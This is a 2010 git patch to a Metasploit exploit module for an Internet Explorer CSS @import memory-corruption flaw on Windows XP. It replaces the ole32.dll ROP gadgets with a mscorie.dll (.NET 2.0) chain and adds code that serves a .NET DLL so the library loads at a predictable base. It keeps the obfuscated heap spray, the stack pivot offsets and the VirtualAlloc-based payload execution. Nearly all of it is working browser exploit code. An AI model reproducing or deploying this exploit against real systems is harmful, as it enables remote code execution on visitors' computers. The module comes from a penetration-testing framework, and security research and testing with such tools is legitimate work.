From c4c0cabccb767d54e92ecdd6a6a04ee6dc359742 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Tue, 21 Dec 2010 19:24:19 +0000 Subject: [PATCH] switch to .NET 2.0 ROP, Merry Xmas! git-svn-id: file:///home/svn/framework3/trunk@11390 4d416f70-5f16-0410-b530-b9f4589650da --- .../windows/browser/ms11_xxx_ie_css_import.rb | 165 +++++++++--------- 1 file changed, 79 insertions(+), 86 deletions(-) diff --git a/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb b/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb index 6ddfcb0cd7..b8a13c6a0b 100644 --- a/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb @@ -133,11 +133,6 @@ class Metasploit3 < Msf::Exploit::Remote # Full-disclosure post was Dec 8th, original blog Nov 29th 'DisclosureDate' => 'Nov 29 2010', 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('OldOle32', [ true, 'Whether the target has MS10-083 or not.', false ]) - ], self.class) end @@ -145,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote mytarget = nil agent = request.headers['User-Agent'] - print_status("Checking user agent: #{agent}") + #print_status("Checking user agent: #{agent}") if agent =~ /MSIE 6\.0/ mytarget = targets[3] elsif agent =~ /MSIE 7\.0/ @@ -195,16 +190,12 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Generate the ROP payload - # We need a different set of RVAs without MS10-083. Can we detect this remotely? - if datastore['OldOle32'] - rvas = rvas_pre() - else - rvas = rvas_post() - end + rvas = rvas_mscorie_v2() rop_stack = generate_rop(buf_addr, rvas) - fix_esp = rva2addr(rvas, 'ret 0x38') + fix_esp = rva2addr(rvas, 'leave / ret') ret = rva2addr(rvas, 'ret') - pivot = rva2addr(rvas, 'xchg eax, esp / ret') + pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') + pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') # Append the payload to the rop_stack rop_stack << p.encoded @@ -220,24 +211,24 @@ class Metasploit3 < Msf::Exploit::Remote special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V') # Low byte must not have bit 1 set - no_bit1 = rand(0xffffffff) & ~2 - special_sauce[mytarget['FlagOff'], 4] = [no_bit1].pack('V') + no_bit1 = rand(0xff) & ~2 + special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V') # These are deref'd to figure out what to call special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V') # Finally, this one becomes eip - special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot].pack('V') + special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V') # This byte must be signed (shorter path to flow control) signed_byte = rand(0xff) | 0x80 special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C') # These offsets become a fix_esp ret chain .. - special_sauce[0x08, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) - special_sauce[0x0c, 4] = [fix_esp].pack('V') # part two of fixing esp (two esp+=0x3c) - special_sauce[0x48, 4] = [ret].pack('V') # ropnop, continue as ESP is where we want it now. + special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot! + special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp + special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) # Add in the rest of the ROP stack special_sauce[0x84, rop_stack.length] = rop_stack @@ -245,9 +236,11 @@ class Metasploit3 < Msf::Exploit::Remote # Format for javascript use special_sauce = Rex::Text.to_unescape(special_sauce) + js_function = rand_text_alpha(rand(100)+1) + # Construct the javascript custom_js = <<-EOS -function prepare() { +function #{js_function}() { heap = new heapLib.ie(0x20000); var heapspray = unescape("#{special_sauce}"); while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); @@ -255,10 +248,6 @@ var heapblock = heapspray; while(heapblock.length < 0x40000) heapblock += heapblock; finalspray = heapblock.substring(2, 0x40000 - 0x21); for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } -} - -function start() { -prepare(); var vlink = document.createElement("link"); vlink.setAttribute("rel", "Stylesheet"); vlink.setAttribute("type", "text/css"); @@ -275,6 +264,10 @@ EOS custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts) js = heaplib(custom_js) + dll_uri = get_resource() + dll_uri << '/' if dll_uri[-1,1] != '/' + dll_uri << "generic-" + Time.now.to_i.to_s + ".dll" + # Construct the final page html = <<-EOS @@ -283,7 +276,8 @@ EOS #{js} - + + EOS @@ -292,6 +286,21 @@ EOS send_response(cli, html, { 'Content-Type' => 'text/html' }) + elsif request.uri =~ /\.dll$/ + print_status("Sending #{self.refname} DLL to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") + # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually + # use it's contents ... + ibase = (0x2000 | rand(0x8000)) << 16 + dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16)) + + # Send a .NET v2.0 DLL down + send_response(cli, dll, + { + 'Content-Type' => 'application/x-msdownload', + 'Connection' => 'close', + 'Pragma' => 'no-cache' + }) + else css = <<-EOS @import url("#{placeholder}"); @@ -313,43 +322,27 @@ EOS end - def rvas_post() - # ole32.dll version 5.1.2600.6010, post MS10-083 + def rvas_mscorie_v2() + # mscorie.dll version v2.0.50727.3053 # Just return this hash { - 'xchg eax, esp / ret' => 0x7b60e, - 'ret 0x38' => 0x607f1, - 'ret' => 0x7b60e+1, - 'push eax / ret' => 0x1d1e4, - 'pop eax / ret' => 0x58cab, - 'pop ebx / ret' => 0x1da39, - 'pop ecx / ret' => 0x50479, - 'mov eax, [eax] / ret' => 0x22a20, + 'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e, + 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b, + 'leave / ret' => 0x25e5, + 'ret' => 0x25e5+1, + 'mov eax, [eax] / ret' => 0x22a2, 'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x360b9, - 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd87c2, - 'add edi, [ebx] / ret' => 0x2cc26, - 'rep movsb / pop edi / pop esi / ret' => 0x372c6, - 'call [ebx]' => 0x2ad9 - } - end - def rvas_pre() - # ole32.dll version 5.1.2600.5512, pre MS10-083 - # Just return this hash - { - 'xchg eax, esp / ret' => 0x7b5e6, - 'ret 0x38' => 0x607c7, - 'ret' => 0x7b5e6+1, - 'push eax / ret' => 0x1d264, - 'pop eax / ret' => 0x1af34, - 'pop ebx / ret' => 0x1dae4, - 'pop ecx / ret' => 0x4f82a, - 'mov eax, [eax] / ret' => 0x22ef3, - 'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x36589, - 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd858a, - 'add edi, [ebx] / ret' => 0x2d0f6, - 'rep movsb / pop edi / pop esi / ret' => 0x37796, - 'call [ebx]' => 0x2ad9 + 'call [ecx] / pop ebp / ret 0xc' => 0x1ec4, + 'push eax / ret' => 0x1d1e4, + 'pop eax / ret' => 0x5ba1, + 'pop ebx / ret' => 0x54c0, + 'pop ecx / ret' => 0x1e13, + 'pop esi / ret' => 0x1d9a, + 'pop edi / ret' => 0x2212, + 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6, + 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154, + 'call [ecx]' => 0x1ec4 } end @@ -357,50 +350,46 @@ EOS # ROP fun! (XP SP3 English, Dec 15 2010) rvas.merge!({ # Instructions / Name => RVA - 'BaseAddress' => 0x774e0000, - 'imp_VirtualAlloc' => 0x1448, - 'Writable' => 0x12719c + 'BaseAddress' => 0x63f00000, + 'imp_VirtualAlloc' => 0x10f4 }) rop_stack = [ # Allocate an RWX memory segment - 'pop eax / ret', + 'pop ecx / ret', 'imp_VirtualAlloc', - 'mov eax, [eax] / ret', - 'push eax / ret', - 'ret', + 'call [ecx] / pop ebp / ret 0xc', 0, # lpAddress 0x1000, # dwSize 0x3000, # flAllocationType 0x40, # flProt + :unused, # Copy the original payload 'pop ecx / ret', - 'Writable', + :unused, + :unused, + :unused, + :memcpy_dst, - 'mov [ecx], eax / xor eax, eax / pop esi / ret', + 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc', + :unused, + + 'pop esi / ret', + :unused, + :unused, + :unused, :memcpy_src, - 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4', - :unused, - - 'pop ebx / ret', - :unused, - 'Writable', - - 'add edi, [ebx] / ret', - - 'pop ecx / ret', - 0x200, - - 'rep movsb / pop edi / pop esi / ret', - :unused, - :unused, - - # Execute the payload ;) - 'call [ebx]' + 'pop edi / ret', + 0xdeadf00d # to be filled in above ] + (0x200 / 4).times { + rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' + } + # Execute the payload ;) + rop_stack << 'call [ecx]' rop_stack.map! { |e| if e.kind_of? String @@ -416,6 +405,10 @@ EOS # Based on stack length.. buf_addr + 0x84 + (rop_stack.length * 4) + elsif e == :memcpy_dst + # Store our new memory ptr into our buffer for later popping :) + buf_addr + 0x84 + (21 * 4) + else # Literal e